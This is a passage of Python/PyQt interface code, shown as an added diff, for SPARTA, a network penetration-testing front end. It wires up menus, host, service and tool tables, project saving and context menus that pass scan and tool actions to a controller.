startConnections(self): # signal initialisations (signals/slots, actions, etc) + ### MENU ACTIONS ### + self.connectCreateNewProject() + self.connectOpenExistingProject() + self.connectSaveProject() + self.connectSaveProjectAs() + self.connectAddHosts() + self.connectImportNmap() + self.connectSettings() + self.connectHelp() + self.connectAppExit() + ### TABLE ACTIONS ### + self.connectAddHostsOverlayClick() + self.connectHostTableClick() + self.connectServiceNamesTableClick() + self.connectToolsTableClick() + self.connectScriptTableClick() + self.connectToolHostsClick() + self.connectAdvancedFilterClick() + self.connectSwitchTabClick() # to detect changing tabs (on left panel) + self.connectSwitchMainTabClick() # to detect changing top level tabs + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + ### CONTEXT MENUS ### + self.connectHostsTableContextMenu() + self.connectServiceNamesTableContextMenu() + self.connectServicesTableContextMenu() + self.connectToolHostsTableContextMenu() + self.connectProcessesTableContextMenu() + self.connectScreenshotContextMenu() + ### OTHER ### + self.ui.NotesTextEdit.textChanged.connect(self.setDirty) + self.ui.FilterApplyButton.clicked.connect(self.updateFilterKeywords) + self.ui.ServicesTabWidget.tabCloseRequested.connect(self.closeHostToolTab) + self.ui.BruteTabWidget.tabCloseRequested.connect(self.closeBruteTab) + self.ui.keywordTextInput.returnPressed.connect(self.ui.FilterApplyButton.click) + self.filterdialog.applyButton.clicked.connect(self.updateFilter) + self.settingsWidget.applyButton.clicked.connect(self.applySettings) + self.settingsWidget.cancelButton.clicked.connect(self.cancelSettings) + #self.settingsWidget.applyButton.clicked.connect(self.controller.applySettings(self.settingsWidget.settings)) + self.tick.connect(self.importProgressWidget.setProgress) # slot used to update the progress bar + + #################### AUXILIARY #################### + + def initTables(self): # this function prepares the default settings for each table + # hosts table (left) + headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] + setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15]) + self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) + self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + + # service names table (left) + headers = ["Name"] + setTableProperties(self.ui.ServiceNamesTableView, len(headers)) + + # tools table (left) + headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + setTableProperties(self.ui.ToolsTableView, len(headers), [0,1,2,4,5,6,7,8,9,10,11,12,13]) + + # service table (right) + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [0,1,5,6,8,10,11]) + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + + # ports by service (right) + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [2,5,6,8,10,11]) + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ui.ServicesTableView.horizontalHeader().resizeSection(0,130) # resize IP + + # scripts table (right) + headers = ["Id", "Script", "Port", "Protocol"] + setTableProperties(self.ui.ScriptsTableView, len(headers), [0,3]) + + # tool hosts table (right) + headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + setTableProperties(self.ui.ToolHostsTableView, len(headers), [0,1,2,3,4,7,8,9,10,11,12]) + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + + # process table + headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + #setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,10,11]) + setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,11,12,14]) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,250) + + def setMainWindowTitle(self, title): + self.ui_mainwindow.setWindowTitle(str(title)) + + def setDirty(self, status=True): # this function is called for example when the user edits notes + self.dirty = status + title = '' + + if self.dirty: + title = '*' + if self.controller.isTempProject(): + title += 'untitled' + else: + title += ntpath.basename(str(self.controller.getProjectName())) + + self.setMainWindowTitle(self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + + #################### ACTIONS #################### + + def dealWithRunningProcesses(self, exiting=False): + if len(self.controller.getRunningProcesses()) > 0: + message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + + if not reply == QtGui.QMessageBox.Yes: + return False + self.controller.killRunningProcesses() + + elif exiting: + return self.confirmExit() + + return True + + def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting + if self.dirty: # if there are unsaved changes, show save dialog first + if not self.saveOrDiscard(): # if the user canceled, stop + return False + + return self.dealWithRunningProcesses(exiting) # deal with running processes + + def confirmExit(self): + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "Are you sure to exit the program?", QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + return (reply == QtGui.QMessageBox.Yes) + + def killProcessConfirmation(self): + message = "Are you sure you want to kill the selected processes?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + return True + return False + + ### + + def connectCreateNewProject(self): + self.ui.actionNew.triggered.connect(self.createNewProject) + + def createNewProject(self): + if self.dealWithCurrentProject(): + print('[+] Creating new project..') + self.controller.createNewProject() + + ### + + def connectOpenExistingProject(self): + self.ui.actionOpen.triggered.connect(self.openExistingProject) + + def openExistingProject(self): + if self.dealWithCurrentProject(): + filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='SPARTA project (*.sprt)') + + if not filename == '': # check for permissions + if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): + print('[-] Insufficient permissions to open this file.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") + return + + self.controller.openExistingProject(filename) + self.firstSave = False # overwrite this variable because we are opening an existing file + self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated + + else: + print('\t[-] No file chosen..') + + ### + + def connectSaveProject(self): + self.ui.actionSave.triggered.connect(self.saveProject) + + def saveProject(self): + self.ui.statusbar.showMessage('Saving..') + if self.firstSave: + self.saveProjectAs() + else: + print('[+] Saving project..') + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + self.setDirty(False) + self.ui.statusbar.showMessage('Saved!', msecs=1000) + print('\t[+] Saved!') + + ### + + def connectSaveProjectAs(self): + self.ui.actionSaveAs.triggered.connect(self.saveProjectAs) + + def saveProjectAs(self): + self.ui.statusbar.showMessage('Saving..') + print('[+] Saving project..') + + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + + while not filename =='': + + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): + print('[-] Insufficient permissions on this folder.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") + + else: + if self.controller.saveProjectAs(filename): + break + + if not str(filename).endswith('.sprt'): + filename = str(filename) + '.sprt' + msgBox = QtGui.QMessageBox() + reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", "Abort", "Replace", "", 0) + + if reply == 1: + self.controller.saveProjectAs(filename, 1) # replace + break + + filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + + if not filename == '': + self.setDirty(False) + self.firstSave = False + self.ui.statusbar.showMessage('Saved!', msecs=1000) + self.controller.updateOutputFolder() + print('\t[+] Saved!') + else: + print('\t[-] No file chosen..') + + ### + + def saveOrDiscard(self): + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtGui.QMessageBox.Save | QtGui.QMessageBox.Discard | QtGui.QMessageBox.Cancel, QtGui.QMessageBox.Save) + + if reply == QtGui.QMessageBox.Save: + self.saveProject() + return True + elif reply == QtGui.QMessageBox.Discard: + return True + else: + return False # the user cancelled + + ### + + def closeProject(self): + self.ui.statusbar.showMessage('Closing project..', msecs=1000) + self.controller.closeProject() + self.removeToolTabs() # to make them disappear from the UI + + ### + + def connectAddHosts(self): + self.ui.actionAddHosts.triggered.connect(self.connectAddHostsDialog) + + def connectAddHostsDialog(self): + self.adddialog.addButton.setDefault(True) + self.adddialog.textinput.setFocus(True) + self.adddialog.validationLabel.hide() + self.adddialog.spacer.changeSize(15,15) + self.adddialog.show() + self.adddialog.addButton.clicked.connect(self.callAddHosts) + self.adddialog.cancelButton.clicked.connect(self.adddialog.close) + + def callAddHosts(self): + if validateNmapInput(self.adddialog.textinput.text()): + self.adddialog.close() + self.controller.addHosts(self.adddialog.textinput.text(), self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) + self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button + else: + self.adddialog.spacer.changeSize(0,0) + self.adddialog.validationLabel.show() + self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.addButton.clicked.connect(self.callAddHosts) + + ### + + def connectImportNmap(self): + self.ui.actionImportNmap.triggered.connect(self.importNmap) + + def importNmap(self): + self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) + filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') + + if not filename == '': + + if not os.access(filename, os.R_OK): # check for read permissions on the xml file + print('[-] Insufficient permissions to read this file.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") + return + + self.importProgressWidget.reset('Importing nmap..') + self.controller.nmapImporter.setFilename(str(filename)) + self.controller.nmapImporter.start() + self.controller.copyNmapXMLToOutputFolder(str(filename)) + self.importProgressWidget.show() + + else: + print('\t[-] No file chosen..') + + ### + + def connectSettings(self): + self.ui.actionSettings.triggered.connect(self.showSettingsWidget) + + def showSettingsWidget(self): + self.settingsWidget.resetTabIndexes() + self.settingsWidget.show() + + def applySettings(self): + if self.settingsWidget.applySettings(): + self.controller.applySettings(self.settingsWidget.settings) + self.settingsWidget.hide() + + def cancelSettings(self): + print('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + self.settingsWidget.hide() + self.controller.cancelSettings() + + def connectHelp(self): + self.ui.menuHelp.triggered.connect(self.helpWidget.show) + + ### + + def connectAppExit(self): + self.ui.actionExit.triggered.connect(self.appExit) + + def appExit(self): + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + self.closeProject() + print('[+] Exiting application..') + sys.exit(0) + + ### TABLE ACTIONS ### + + def connectAddHostsOverlayClick(self): + self.ui.addHostsOverlay.selectionChanged.connect(self.connectAddHostsDialog) + + def connectHostTableClick(self): + self.ui.HostsTableView.clicked.connect(self.hostTableClick) + + # TODO: review - especially what tab is selected when coming from another host + def hostTableClick(self): + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) + save = self.ui.ServicesTabWidget.currentIndex() + self.removeToolTabs() + self.restoreToolTabsForHost(self.ip_clicked) + self.updateRightPanel(self.ip_clicked) + self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) + + else: + self.removeToolTabs() + self.updateRightPanel('') + + ### + + def connectServiceNamesTableClick(self): + self.ui.ServiceNamesTableView.clicked.connect(self.serviceNamesTableClick) + + def serviceNamesTableClick(self): + if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.service_clicked) + + ### + + def connectToolsTableClick(self): + self.ui.ToolsTableView.clicked.connect(self.toolsTableClick) + + def toolsTableClick(self): + if self.ui.ToolsTableView.selectionModel().selectedRows(): + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.tool_clicked) + self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + + # update the updateToolHostsTableView when the user closes all the host tabs + # TODO: this doesn't seem right + else: + self.updateToolHostsTableView('') + self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) + + ### + + def connectScriptTableClick(self): + self.ui.ScriptsTableView.clicked.connect(self.scriptTableClick) + + def scriptTableClick(self): + if self.ui.ScriptsTableView.selectionModel().selectedRows(): + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.script_clicked) + + ### + + def connectToolHostsClick(self): + self.ui.ToolHostsTableView.clicked.connect(self.toolHostsClick) + + # TODO: review / duplicate code + def toolHostsClick(self): + if self.ui.ToolHostsTableView.selectionModel().selectedRows(): + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + ip = self.ToolHostsTableModel.getIpForRow(row) + + if self.tool_clicked == 'screenshooter': + filename = self.ToolHostsTableModel.getOutputfileForRow(row) + self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) + + else: + self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab + + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + + tabs = [] # fetch tab list for this host (if any) + if str(ip) in self.hostTabs: + tabs = self.hostTabs[str(ip)] + + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtGui.QPlainTextEdit) and str(tab.findChild(QtGui.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtGui.QPlainTextEdit)) + break + + ### + + def connectAdvancedFilterClick(self): + self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) + + def advancedFilterClick(self, current): + self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.show() + + def updateFilter(self): + f = self.filterdialog.getFilters() + self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.ui.keywordTextInput.setText(" ".join(f[8])) + self.updateInterface() + + def updateFilterKeywords(self): + self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.updateInterface() + + ### + + def connectTableDoubleClick(self): + self.ui.ServicesTableView.doubleClicked.connect(self.tableDoubleClick) + self.ui.ToolHostsTableView.doubleClicked.connect(self.tableDoubleClick) + + def tableDoubleClick(self): + tab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) + + if tab == 'Services': + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + ip = self.PortsByServiceTableModel.getIpForRow(row) + elif tab == 'Tools': + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + ip = self.ToolHostsTableModel.getIpForRow(row) + else: + return + + hostrow = self.HostsTableModel.getRowForIp(ip) + if hostrow is not None: + self.ui.HostsTabWidget.setCurrentIndex(0) + self.ui.HostsTableView.selectRow(hostrow) + self.hostTableClick() + + ### + + def connectSwitchTabClick(self): + self.ui.HostsTabWidget.currentChanged.connect(self.switchTabClick) + + def switchTabClick(self): + if self.ServiceNamesTableModel: # fixes bug when switching tabs at start-up + selectedTab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) + + if selectedTab == 'Hosts': + self.ui.ServicesTabWidget.insertTab(1,self.ui.ScriptsTab,("Scripts")) + self.ui.ServicesTabWidget.insertTab(2,self.ui.InformationTab,("Information")) + self.ui.ServicesTabWidget.insertTab(3,self.ui.NotesTab,("Notes")) + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + + self.restoreToolTabWidget() + ### + if self.lazy_update_hosts == True: + self.updateHostsTableView() + ### + self.hostTableClick() + + elif selectedTab == 'Services': + self.ui.ServicesTabWidget.setCurrentIndex(0) + self.removeToolTabs(0) # remove the tool tabs + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.lazy_update_services == True: + self.updateServiceNamesTableView() + self.serviceNamesTableClick() + + elif selectedTab == 'Tools': + self.updateToolsTableView() + + self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise + + ### + + def connectSwitchMainTabClick(self): + self.ui.MainTabWidget.currentChanged.connect(self.switchMainTabClick) + + def switchMainTabClick(self): + selectedTab = self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) + + if selectedTab == 'Scan': + self.switchTabClick() + + elif selectedTab == 'Brute': + self.ui.BruteTabWidget.currentWidget().runButton.setFocus() + self.restoreToolTabWidget() + + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black + + ### + def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + self.menuVisible = True + + def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now + self.menuVisible = False + ### + + def connectHostsTableContextMenu(self): + self.ui.HostsTableView.customContextMenuRequested.connect(self.contextMenuHostsTableView) + + def contextMenuHostsTableView(self, pos): + if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + self.ui.HostsTableView.selectRow(row) # select host when right-clicked + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + hostid = self.HostsTableModel.getHostIdForRow(row) + action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + + ### + + def connectServiceNamesTableContextMenu(self): + self.ui.ServiceNamesTableView.customContextMenuRequested.connect(self.contextMenuServiceNamesTableView) + + def contextMenuServiceNamesTableView(self, pos): + if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked + self.serviceNamesTableClick() + + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) + + if action: + self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows + # we must only fetch the targets on which we haven't run the tool yet + tool = None + for i in range(0,len(actions)): # fetch the tool name + if action == actions[i][1]: + srvc_num = actions[i][0] + tool = self.controller.getSettings().portActions[srvc_num][1] + break + + if action.text() == 'Take screenshot': + tool = 'screenshooter' + + targets = [] # get (IP,port,protocol) combinations for this service + for row in range(self.PortsByServiceTableModel.rowCount("")): + targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) + + if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet + tool=None + + if tool: + hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on + oldTargets = [] + for i in range(0,len(hosts)): + oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) + + for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on + if host in targets: + targets.remove(host) + + self.controller.handleServiceNameAction(targets, actions, action) + + ### + + def connectToolHostsTableContextMenu(self): + self.ui.ToolHostsTableView.customContextMenuRequested.connect(self.contextToolHostsTableContextMenu) + + def contextToolHostsTableContextMenu(self, pos): + if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: + + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + ip = self.ToolHostsTableModel.getIpForRow(row) + port = self.ToolHostsTableModel.getPortForRow(row) + + if port: + serviceName = self.controller.getServiceNameForHostAndPort(ip, port)[0] + + menu, actions, terminalActions = self.controller.getContextMenuForPort(str(serviceName)) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected + for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + restore = True + + action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handlePortAction(targets, actions, terminalActions, action, restore) + + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) + + action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + + ### + + def connectServicesTableContextMenu(self): + self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) + + def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: + + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + serviceName = self.ServicesTableModel.getServiceNameForRow(row) + else: # if we are in the services tab of the services view + serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) + + else: + serviceName = '*' # otherwise show full menu + + menu, actions, terminalActions = self.controller.getContextMenuForPort(serviceName) + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + if self.ui.ServicesTableView.isColumnHidden(0): + for row in self.ui.ServicesTableView.selectionModel().selectedRows(): + targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) + restore = False + + else: # context menu when the left services tab is selected + for row in self.ui.ServicesTableView.selectionModel().selectedRows(): + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + restore = True + + action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handlePortAction(targets, actions, terminalActions, action, restore) + + ### + + def connectProcessesTableContextMenu(self): + self.ui.ProcessesTableView.customContextMenuRequested.connect(self.contextMenuProcessesTableView) + + def contextMenuProcessesTableView(self, pos): + if self.ui.ProcessesTableView.selectionModel() and self.ui.ProcessesTableView.selectionModel().selectedRows(): + + menu = self.controller.getContextMenuForProcess() + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + selectedProcesses = [] # list of tuples (pid, status, procId) + for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): + pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) + + action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) + + if action: + self.controller.handleProcessAction(selectedProcesses, action) + + ### + + def connectScreenshotContextMenu(self): + self.ui.ScreenshotWidget.scrollArea.customContextMenuRequested.connect(self.contextMenuScreenshot) + + def contextMenuScreenshot(self, pos): + menu = QMenu() + + zoomInAction = menu.addAction("Zoom in (25%)") + zoomOutAction = menu.addAction("Zoom out (25%)") + fitToWindowAction = menu.addAction("Fit to window") + normalSizeAction = menu.addAction("Original size") + + menu.aboutToShow.connect(self.setVisible) + menu.aboutToHide.connect(self.setInvisible) + + action = menu.exec_(self.ui.ScreenshotWidget.scrollArea.viewport().mapToGlobal(pos)) + + if action == zoomInAction: + self.ui.ScreenshotWidget.zoomIn() + elif action == zoomOutAction: + self.ui.ScreenshotWidget.zoomOut() + elif action == fitToWindowAction: + self.ui.ScreenshotWidget.fitToWindow() + elif action == normalSizeAction: + self.ui.ScreenshotWidget.normalSize() + + #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateHostsTableView(self): + headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) + self.ui.HostsTableView.setModel(self.HostsTableModel) + + self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + + for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15]: # hide some columns + self.ui.HostsTableView.setColumnHidden(i, True) + + self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) + self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + self.HostsTableModel.sort(3, Qt.DescendingOrder) + + ips = [] # ensure that there is always something selected + for row in range(self.HostsTableModel.rowCount("")): + ips.append(self.HostsTableModel.getHostIPForRow(row)) + + if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) + row = self.HostsTableModel.getRowForIp(self.ip_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.HostsTableView.selectRow(row) + self.hostTableClick() + + def updateServiceNamesTableView(self): + headers = ["Name"] + self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) + self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) + + self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + + services = [] # ensure that there is always something selected + for row in range(self.ServiceNamesTableModel.rowCount("")): + services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) + + if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) + row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ServiceNamesTableView.selectRow(row) + self.serviceNamesTableClick() + + def updateToolsTableView(self): + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters), headers) + self.ui.ToolsTableView.setModel(self.ToolsTableModel) + + self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + + for i in [0,1,2,4,5,6,7,8,9,10,11,12,13,14]: # hide some columns + self.ui.ToolsTableView.setColumnHidden(i, True) + + tools = [] # ensure that there is always 